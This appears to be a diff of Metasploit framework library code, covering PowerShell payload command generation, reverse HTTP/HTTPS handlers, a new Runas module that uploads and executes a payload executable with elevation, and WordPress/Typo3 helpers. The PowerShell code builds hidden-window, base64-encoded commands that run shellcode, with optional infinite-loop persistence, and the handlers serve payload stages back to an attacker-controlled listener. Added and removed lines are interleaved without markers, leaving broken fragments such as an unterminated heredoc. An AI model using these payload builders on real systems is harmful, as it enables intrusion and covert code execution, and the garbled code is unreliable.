# should include .exe
|
||||
#
|
||||
# @return [String] Powershell command line with arguments
|
||||
def generate_psh_command_line(opts)
|
||||
if opts[:path] and (opts[:path][-1, 1] != '\\')
|
||||
opts[:path] << '\\'
|
||||
end
|
||||
|
||||
ps_wrapper = <<EOS
|
||||
$si = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$si.FileName = #{ps_bin}
|
||||
$si.Arguments = '#{ps_args}'
|
||||
$si.UseShellExecute = $false
|
||||
$si.RedirectStandardOutput = $true
|
||||
$si.WindowStyle = 'Hidden'
|
||||
$si.CreateNoWindow = $True
|
||||
$p = [System.Diagnostics.Process]::Start($si)
|
||||
if opts[:no_full_stop]
|
||||
binary = 'powershell'
|
||||
else
|
||||
binary = 'powershell.exe'
|
||||
end
|
||||
|
||||
args = generate_psh_args(opts)
|
||||
|
||||
"#{opts[:path]}#{binary} #{args}"
|
||||
end
|
||||
|
||||
#
|
||||
# Generate arguments for the powershell command
|
||||
# The format will be have no space at the start and have a space
|
||||
# afterwards e.g. "-Arg1 x -Arg -Arg x "
|
||||
#
|
||||
# @param opts [Hash] The options to generate the command line
|
||||
# @option opts [Boolean] :shorten Whether to shorten the powershell
|
||||
# arguments (v2.0 or greater)
|
||||
# @option opts [String] :encodedcommand Powershell script as an
|
||||
# encoded command (-EncodedCommand)
|
||||
# @option opts [String] :executionpolicy The execution policy
|
||||
# (-ExecutionPolicy)
|
||||
# @option opts [String] :inputformat The input format (-InputFormat)
|
||||
# @option opts [String] :file The path to a powershell file (-File)
|
||||
# @option opts [Boolean] :noexit Whether to exit powershell after
|
||||
# execution (-NoExit)
|
||||
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
|
||||
# @option opts [Boolean] :noninteractive Whether to load a non
|
||||
# interactive powershell (-NonInteractive)
|
||||
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
|
||||
# Apartment (-Mta)
|
||||
# @option opts [String] :outputformat The output format
|
||||
# (-OutputFormat)
|
||||
# @option opts [Boolean] :sta Whether to run as Single-Threaded
|
||||
# Apartment (-Sta)
|
||||
# @option opts [Boolean] :noprofile Whether to use the current users
|
||||
# powershell profile (-NoProfile)
|
||||
# @option opts [String] :windowstyle The window style to use
|
||||
# (-WindowStyle)
|
||||
#
|
||||
# @return [String] Powershell command arguments
|
||||
def generate_psh_args(opts)
|
||||
return '' unless opts
|
||||
|
||||
unless opts.key? :shorten
|
||||
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||
end
|
||||
|
||||
arg_string = ' '
|
||||
opts.each_pair do |arg, value|
|
||||
case arg
|
||||
when :encodedcommand
|
||||
arg_string << "-EncodedCommand #{value} " if value
|
||||
when :executionpolicy
|
||||
arg_string << "-ExecutionPolicy #{value} " if value
|
||||
when :inputformat
|
||||
arg_string << "-InputFormat #{value} " if value
|
||||
when :file
|
||||
arg_string << "-File #{value} " if value
|
||||
when :noexit
|
||||
arg_string << '-NoExit ' if value
|
||||
when :nologo
|
||||
arg_string << '-NoLogo ' if value
|
||||
when :noninteractive
|
||||
arg_string << '-NonInteractive ' if value
|
||||
when :mta
|
||||
arg_string << '-Mta ' if value
|
||||
when :outputformat
|
||||
arg_string << "-OutputFormat #{value} " if value
|
||||
when :sta
|
||||
arg_string << '-Sta ' if value
|
||||
when :noprofile
|
||||
arg_string << '-NoProfile ' if value
|
||||
when :windowstyle
|
||||
arg_string << "-WindowStyle #{value} " if value
|
||||
end
|
||||
end
|
||||
|
||||
# Command must be last (unless from stdin - etc)
|
||||
if opts[:command]
|
||||
arg_string << "-Command #{opts[:command]}"
|
||||
end
|
||||
|
||||
# Shorten arg if PSH 2.0+
|
||||
if opts[:shorten]
|
||||
# Invoke-Command and Out-File require these options to have
|
||||
# an additional space before to prevent Powershell code being
|
||||
# mangled.
|
||||
arg_string.gsub!(' -Command ', ' -c ')
|
||||
arg_string.gsub!('-EncodedCommand ', '-e ')
|
||||
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
|
||||
arg_string.gsub!(' -File ', ' -f ')
|
||||
arg_string.gsub!('-InputFormat ', '-i ')
|
||||
arg_string.gsub!('-NoExit ', '-noe ')
|
||||
arg_string.gsub!('-NoLogo ', '-nol ')
|
||||
arg_string.gsub!('-NoProfile ', '-nop ')
|
||||
arg_string.gsub!('-NonInteractive ', '-noni ')
|
||||
arg_string.gsub!('-OutputFormat ', '-o ')
|
||||
arg_string.gsub!('-Sta ', '-s ')
|
||||
arg_string.gsub!('-WindowStyle ', '-w ')
|
||||
end
|
||||
|
||||
# Strip off first space character
|
||||
arg_string = arg_string[1..-1]
|
||||
# Remove final space character
|
||||
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
|
||||
|
||||
arg_string
|
||||
end
|
||||
|
||||
#
|
||||
# Wraps the powershell code to launch a hidden window and
|
||||
# detect the execution environment and spawn the appropriate
|
||||
# powershell executable for the payload architecture.
|
||||
#
|
||||
# @param ps_code [String] Powershell code
|
||||
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
||||
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
|
||||
#
|
||||
# @return [String] Wrapped powershell code
|
||||
def run_hidden_psh(ps_code, payload_arch, encoded)
|
||||
arg_opts = {
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
}
|
||||
|
||||
if encoded
|
||||
arg_opts[:encodedcommand] = ps_code
|
||||
else
|
||||
arg_opts[:command] = ps_code.gsub("'", "''")
|
||||
end
|
||||
|
||||
# Old technique fails if powershell exits..
|
||||
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
|
||||
|
||||
ps_args = generate_psh_args(arg_opts)
|
||||
|
||||
process_start_info = <<EOS
|
||||
$s=New-Object System.Diagnostics.ProcessStartInfo
|
||||
$s.FileName=$b
|
||||
$s.Arguments='#{ps_args}'
|
||||
$s.UseShellExecute=$false
|
||||
$p=[System.Diagnostics.Process]::Start($s)
|
||||
EOS
|
||||
process_start_info.gsub!("\n", ';')
|
||||
|
||||
archictecure_detection = <<EOS
|
||||
if([IntPtr]::Size -eq 4){
|
||||
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
|
||||
}else{
|
||||
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
|
||||
};
|
||||
EOS
|
||||
|
||||
return ps_wrapper
|
||||
archictecure_detection.gsub!("\n", '')
|
||||
|
||||
archictecure_detection + process_start_info
|
||||
end
|
||||
|
||||
#
|
||||
# Creates cmd script to execute psh payload
|
||||
# Creates a powershell command line string which will execute the
|
||||
# payload in a hidden window in the appropriate execution environment
|
||||
# for the payload architecture. Opts are passed through to
|
||||
# run_hidden_psh, generate_psh_command_line and generate_psh_args
|
||||
#
|
||||
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
|
||||
# Allow powershell 1.0 format
|
||||
if old_psh
|
||||
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
||||
else
|
||||
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
||||
# @param pay [String] The payload shellcode
|
||||
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
||||
# @param opts [Hash] The options to generate the command
|
||||
# @option opts [Boolean] :persist Loop the payload to cause
|
||||
# re-execution if the shellcode finishes
|
||||
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
||||
# before executing the payload
|
||||
# @option opts [String] :method The powershell injection technique to
|
||||
# use: 'net'/'reflection'/'old'
|
||||
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
|
||||
# script within the hidden/architecture detection wrapper
|
||||
# @option opts [Boolean] :encode_final_payload Encodes the final
|
||||
# powershell script
|
||||
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
|
||||
# environment variable at the start of the command line
|
||||
# @option opts [Boolean] :use_single_quotes Wraps the -Command
|
||||
# argument in single quotes unless :encode_final_payload
|
||||
#
|
||||
# @return [String] Powershell command line with payload
|
||||
def cmd_psh_payload(pay, payload_arch, opts = {})
|
||||
opts[:persist] ||= datastore['Powershell::persist']
|
||||
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
|
||||
opts[:method] ||= datastore['Powershell::method']
|
||||
|
||||
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
||||
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
|
||||
end
|
||||
|
||||
if opts[:no_equals] && !opts[:encode_final_payload]
|
||||
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
|
||||
end
|
||||
|
||||
psh_payload = case opts[:method]
|
||||
when 'net'
|
||||
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
||||
when 'reflection'
|
||||
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
|
||||
when 'old'
|
||||
Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
||||
when 'msil'
|
||||
fail RuntimeError, 'MSIL Powershell method no longer exists'
|
||||
else
|
||||
fail RuntimeError, 'No Powershell method specified'
|
||||
end
|
||||
|
||||
# Run our payload in a while loop
|
||||
if datastore['PERSIST']
|
||||
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
|
||||
sleep_time = rand(5)+5
|
||||
if opts[:persist]
|
||||
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
||||
sleep_time = rand(5) + 5
|
||||
vprint_status("Sleep time set to #{sleep_time} seconds")
|
||||
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
||||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
||||
end
|
||||
# Determine appropriate architecture
|
||||
ps_bin = wow64 ? '$env:windir+\'\syswow64\WindowsPowerShell\v1.0\powershell.exe\'' : '\'powershell.exe\''
|
||||
# Wrap in hidden runtime
|
||||
psh_payload = run_hidden_psh(psh_payload,ps_bin)
|
||||
# Convert to base64 for -encodedcommand execution
|
||||
command = "%COMSPEC% /B /C start powershell.exe -Command #{psh_payload.gsub("\n",';').gsub('"','\"')}\r\n"
|
||||
end
|
||||
|
||||
#
|
||||
# Convert binary to byte array, read from file if able
|
||||
#
|
||||
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
|
||||
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
|
||||
code = code.unpack('C*')
|
||||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
||||
lines = []
|
||||
1.upto(code.length-1) do |byte|
|
||||
if(byte % 10 == 0)
|
||||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
||||
if opts[:prepend_sleep]
|
||||
if opts[:prepend_sleep].to_i > 0
|
||||
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
|
||||
else
|
||||
lines.push ",0x#{code[byte].to_s(16)}"
|
||||
vprint_error('Sleep time must be greater than 0 seconds')
|
||||
end
|
||||
end
|
||||
psh << lines.join("") + "\r\n"
|
||||
|
||||
compressed_payload = compress_script(psh_payload)
|
||||
encoded_payload = encode_script(psh_payload)
|
||||
|
||||
# This branch is probably never taken...
|
||||
if encoded_payload.length <= compressed_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
encoded = true
|
||||
else
|
||||
if opts[:encode_inner_payload]
|
||||
encoded = true
|
||||
compressed_encoded_payload = encode_script(compressed_payload)
|
||||
|
||||
if encoded_payload.length <= compressed_encoded_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
else
|
||||
smallest_payload = compressed_encoded_payload
|
||||
end
|
||||
else
|
||||
smallest_payload = compressed_payload
|
||||
encoded = false
|
||||
end
|
||||
end
|
||||
|
||||
# Wrap in hidden runtime / architecture detection
|
||||
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
|
||||
|
||||
command_args = {
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden'
|
||||
}.merge(opts)
|
||||
|
||||
if opts[:encode_final_payload]
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
|
||||
# If '=' is a bad character pad the payload until Base64 encoded
|
||||
# payload contains none.
|
||||
if opts[:no_equals]
|
||||
while command_args[:encodedcommand].include? '='
|
||||
final_payload << ' '
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
end
|
||||
end
|
||||
else
|
||||
if opts[:use_single_quotes]
|
||||
# Escape Single Quotes
|
||||
final_payload.gsub!("'", "''")
|
||||
# Wrap command in quotes
|
||||
final_payload = "'#{final_payload}'"
|
||||
end
|
||||
|
||||
command_args[:command] = final_payload
|
||||
end
|
||||
|
||||
psh_command = generate_psh_command_line(command_args)
|
||||
|
||||
if opts[:remove_comspec]
|
||||
command = psh_command
|
||||
else
|
||||
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
|
||||
end
|
||||
|
||||
vprint_status("Powershell command length: #{command.length}")
|
||||
if command.length > 8191
|
||||
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
|
||||
end
|
||||
|
||||
command
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Useful method cache
|
||||
#
|
||||
module PshMethods
|
||||
include Rex::Exploitation::Powershell::PshMethods
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -31,27 +31,6 @@ module ReverseHttp
|
|||
"tunnel"
|
||||
end
|
||||
|
||||
#
|
||||
# Use the +refname+ to determine whether this handler uses SSL or not
|
||||
#
|
||||
def ssl?
|
||||
!!(self.refname.index("https"))
|
||||
end
|
||||
|
||||
#
|
||||
# Return a URI of the form scheme://host:port/
|
||||
#
|
||||
# Scheme is one of http or https and host is properly wrapped in [] for ipv6
|
||||
# addresses.
|
||||
#
|
||||
def full_uri
|
||||
local_port = bind_port
|
||||
scheme = (ssl?) ? "https" : "http"
|
||||
"#{scheme}://#{datastore['LHOST']}:#{datastore['LPORT']}/"
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Initializes the HTTP SSL tunneling handler.
|
||||
#
|
||||
|
@ -77,14 +56,64 @@ module ReverseHttp
|
|||
], Msf::Handler::ReverseHttp)
|
||||
end
|
||||
|
||||
#
|
||||
# Toggle for IPv4 vs IPv6 mode
|
||||
#
|
||||
def ipv6
|
||||
self.refname.index('ipv6') ? true : false
|
||||
def ipv6?
|
||||
Rex::Socket.is_ipv6?(datastore['LHOST'])
|
||||
end
|
||||
|
||||
# Determine where to bind the server
|
||||
#
|
||||
# @return [String]
|
||||
def listener_address
|
||||
if datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
|
||||
else
|
||||
bindaddr = datastore['ReverseListenerBindAddress']
|
||||
end
|
||||
|
||||
bindaddr
|
||||
end
|
||||
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def listener_uri
|
||||
if ipv6?
|
||||
listen_host = "[#{listener_address}]"
|
||||
else
|
||||
listen_host = listener_address
|
||||
end
|
||||
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
|
||||
end
|
||||
|
||||
# Return a URI suitable for placing in a payload.
|
||||
#
|
||||
# Host will be properly wrapped in square brackets, +[]+, for ipv6
|
||||
# addresses.
|
||||
#
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def payload_uri
|
||||
if ipv6?
|
||||
callback_host = "[#{datastore['LHOST']}]"
|
||||
else
|
||||
callback_host = datastore['LHOST']
|
||||
end
|
||||
"#{scheme}://#{callback_host}:#{datastore['LPORT']}/"
|
||||
end
|
||||
|
||||
# Use the {#refname} to determine whether this handler uses SSL or not
|
||||
#
|
||||
def ssl?
|
||||
!!(self.refname.index("https"))
|
||||
end
|
||||
|
||||
# URI scheme
|
||||
#
|
||||
# @return [String] One of "http" or "https" depending on whether we
|
||||
# are using SSL
|
||||
def scheme
|
||||
(ssl?) ? "https" : "http"
|
||||
end
|
||||
|
||||
# Create an HTTP listener
|
||||
#
|
||||
def setup_handler
|
||||
|
@ -98,17 +127,11 @@ module ReverseHttp
|
|||
|
||||
local_port = bind_port
|
||||
|
||||
# Determine where to bind the HTTP(S) server to
|
||||
bindaddrs = ipv6 ? '::' : '0.0.0.0'
|
||||
|
||||
if not datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
bindaddrs = datastore['ReverseListenerBindAddress']
|
||||
end
|
||||
|
||||
# Start the HTTPS server service on this host/port
|
||||
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
|
||||
local_port,
|
||||
bindaddrs,
|
||||
listener_address,
|
||||
ssl?,
|
||||
{
|
||||
'Msf' => framework,
|
||||
|
@ -130,9 +153,7 @@ module ReverseHttp
|
|||
},
|
||||
'VirtualDirectory' => true)
|
||||
|
||||
scheme = (ssl?) ? "https" : "http"
|
||||
bind_url = "#{scheme}://#{bindaddrs}:#{local_port}/"
|
||||
print_status("Started #{scheme.upcase} reverse handler on #{bind_url}")
|
||||
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -165,7 +186,6 @@ protected
|
|||
# Parses the HTTPS request
|
||||
#
|
||||
def on_request(cli, req, obj)
|
||||
sid = nil
|
||||
resp = Rex::Proto::Http::Response.new
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
|
||||
|
@ -176,7 +196,7 @@ protected
|
|||
case uri_match
|
||||
when /^\/INITJM/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = full_uri + conn_id + "/\x00"
|
||||
url = payload_uri + conn_id + "/\x00"
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
|
@ -239,10 +259,10 @@ protected
|
|||
blob[i, proxyinfo.length] = proxyinfo
|
||||
print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")
|
||||
#Optional authentification
|
||||
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
|
||||
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
|
||||
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
|
||||
datastore['PROXY_TYPE'] == 'SOCKS'
|
||||
|
||||
|
||||
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
proxy_username = datastore['PROXY_USERNAME'] << "\x00"
|
||||
blob[proxy_username_loc, proxy_username.length] = proxy_username
|
||||
|
@ -266,7 +286,7 @@ protected
|
|||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
i = blob.index("https://" + ("X" * 256))
|
||||
if i
|
||||
url = full_uri + conn_id + "/\x00"
|
||||
url = payload_uri + conn_id + "/\x00"
|
||||
blob[i, url.length] = url
|
||||
end
|
||||
print_status("Patched URL at offset #{i}...")
|
||||
|
@ -308,7 +328,7 @@ protected
|
|||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => full_uri + conn_id + "/\x00",
|
||||
:url => payload_uri + conn_id + "/\x00",
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => ssl?,
|
||||
|
|
|
@ -45,6 +45,7 @@ module Msf
|
|||
|
||||
# Map "random" URIs to static strings, allowing us to randomize
|
||||
# the URI sent in the first request.
|
||||
#
|
||||
# @param uri_match [String] The URI string to convert back to the original static value
|
||||
# @return [String] The static URI value derived from the checksum
|
||||
def process_uri_resource(uri_match)
|
||||
|
@ -69,6 +70,7 @@ module Msf
|
|||
end
|
||||
|
||||
# Create a URI that matches a given checksum
|
||||
#
|
||||
# @param sum [Fixnum] The checksum value you are trying to create a URI for
|
||||
# @return [String] The URI string that checksums to the given value
|
||||
def generate_uri_checksum(sum)
|
||||
|
|
|
@ -1,34 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/handler/reverse_http'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This handler implements the HTTP tunneling interface.
|
||||
#
|
||||
###
|
||||
module ReverseIPv6Http
|
||||
|
||||
include Msf::Handler::ReverseHttp
|
||||
|
||||
#
|
||||
# Override the handler_type to indicate IPv6 mode
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_ipv6_http"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'tunnel'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"tunnel"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1,35 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This handler implements the HTTP SSL tunneling interface.
|
||||
#
|
||||
###
|
||||
module ReverseIPv6Https
|
||||
|
||||
include Msf::Handler::ReverseHttps
|
||||
|
||||
#
|
||||
# Override the handler_type to indicate IPv6 mode
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_ipv6_https"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'tunnel'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"tunnel"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -18,7 +18,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
|
|||
# Yields the module_reference_name for each module file found under the directory path.
|
||||
#
|
||||
# @param [String] path The path to the directory.
|
||||
# @param [Array] modules An array of regex patterns to search for specific modules
|
||||
# @param [Hash] opts Input Hash.
|
||||
# @yield (see Msf::Modules::Loader::Base#each_module_reference_name)
|
||||
# @yieldparam [String] path The path to the directory.
|
||||
# @yieldparam [String] type The type correlated with the directory under path.
|
||||
|
|
|
@ -11,6 +11,7 @@ module Msf::Post::Windows
|
|||
require 'msf/core/post/windows/process'
|
||||
require 'msf/core/post/windows/railgun'
|
||||
require 'msf/core/post/windows/registry'
|
||||
require 'msf/core/post/windows/runas'
|
||||
require 'msf/core/post/windows/services'
|
||||
require 'msf/core/post/windows/wmic'
|
||||
require 'msf/core/post/windows/netapi'
|
||||
|
|
|
@ -0,0 +1,38 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/powershell'
|
||||
require 'msf/core/exploit/exe'
|
||||
|
||||
module Msf::Post::Windows::Runas
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def execute_exe(filename = nil, path = nil, upload = nil)
|
||||
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
|
||||
payload_path = path || get_env('TEMP')
|
||||
cmd_location = "#{payload_path}\\#{payload_filename}"
|
||||
|
||||
if upload
|
||||
exe_payload = generate_payload_exe
|
||||
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
|
||||
write_file(cmd_location, exe_payload)
|
||||
else
|
||||
print_status("No file uploaded, attempting to execute #{cmd_location}...")
|
||||
end
|
||||
|
||||
shell_exec(cmd_location, nil)
|
||||
end
|
||||
|
||||
def execute_psh
|
||||
powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
command = 'cmd.exe'
|
||||
args = "/c #{powershell_command}"
|
||||
shell_exec(command, args)
|
||||
end
|
||||
|
||||
def shell_exec(command, args)
|
||||
print_status('Executing elevated command...')
|
||||
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
|
||||
end
|
||||
end
|
|
@ -18,8 +18,20 @@ module Msf::HTTP::Typo3::Login
|
|||
return nil
|
||||
end
|
||||
|
||||
e = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/)[1]
|
||||
n = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/)[1]
|
||||
e_match = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/)
|
||||
if e_match.nil?
|
||||
vprint_error('Can not find rsa_e value')
|
||||
return nil
|
||||
end
|
||||
e = e_match[1]
|
||||
|
||||
n_match = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/)
|
||||
if n_match.nil?
|
||||
vprint_error('Can not find rsa_n value')
|
||||
return nil
|
||||
end
|
||||
n = n_match[1]
|
||||
|
||||
vprint_debug("e: #{e}")
|
||||
vprint_debug("n: #{n}")
|
||||
rsa_enc = typo3_helper_login_rsa(e, n, pass)
|
||||
|
|
|
@ -25,10 +25,20 @@ module Msf
|
|||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
|
||||
], HTTP::Wordpress
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/'])
|
||||
], HTTP::Wordpress
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content'])
|
||||
], HTTP::Wordpress
|
||||
)
|
||||
end
|
||||
|
||||
def wp_content_dir
|
||||
datastore['WPCONTENTDIR']
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,28 +1,23 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::Wordpress::Base
|
||||
|
||||
# Checks if the site is online and running wordpress
|
||||
#
|
||||
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
|
||||
def wordpress_and_online?
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
})
|
||||
return res if res and
|
||||
res.code == 200 and
|
||||
(
|
||||
res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
|
||||
res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i or
|
||||
res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'] \/>/i
|
||||
)
|
||||
return nil
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Error connecting to #{target_uri}")
|
||||
return nil
|
||||
end
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
)
|
||||
wordpress_detect_regexes = [
|
||||
/["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i,
|
||||
/<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i,
|
||||
/<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'](?: \/)*>/i
|
||||
]
|
||||
return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r }
|
||||
return nil
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||
print_error("#{peer} - Error connecting to #{target_uri}: #{e}")
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -49,7 +49,7 @@ module Msf::HTTP::Wordpress::Helpers
|
|||
options.merge!({'vars_post' => vars_post})
|
||||
options.merge!({'cookie' => login_cookie}) if login_cookie
|
||||
res = send_request_cgi(options)
|
||||
if res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
if res && res.redirect? && res.redirection
|
||||
return wordpress_helper_parse_location_header(res)
|
||||
else
|
||||
message = "#{peer} - Post comment failed."
|
||||
|
@ -101,7 +101,7 @@ module Msf::HTTP::Wordpress::Helpers
|
|||
else
|
||||
return res.body
|
||||
end
|
||||
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
elsif res && res.redirect? && res.redirection
|
||||
path = wordpress_helper_parse_location_header(res)
|
||||
return wordpress_helper_check_post_id(path, comments_enabled, login_cookie)
|
||||
end
|
||||
|
@ -113,9 +113,9 @@ module Msf::HTTP::Wordpress::Helpers
|
|||
# @param res [Rex::Proto::Http::Response] The HTTP response
|
||||
# @return [String,nil] the path and query, nil on error
|
||||
def wordpress_helper_parse_location_header(res)
|
||||
return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
return nil unless res && res.redirect? && res.redirection
|
||||
|
||||
location = res.headers['Location']
|
||||
location = res.redirection
|
||||
path_from_uri(location)
|
||||
end
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::Login
|
||||
|
||||
module Msf::HTTP::Wordpress::Login
|
||||
# performs a wordpress login
|
||||
#
|
||||
# @param user [String] Username
|
||||
|
@ -8,21 +8,23 @@ module Msf::HTTP::Wordpress::Login
|
|||
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
|
||||
def wordpress_login(user, pass)
|
||||
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
|
||||
res = send_request_cgi({
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_login,
|
||||
'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
|
||||
})
|
||||
|
||||
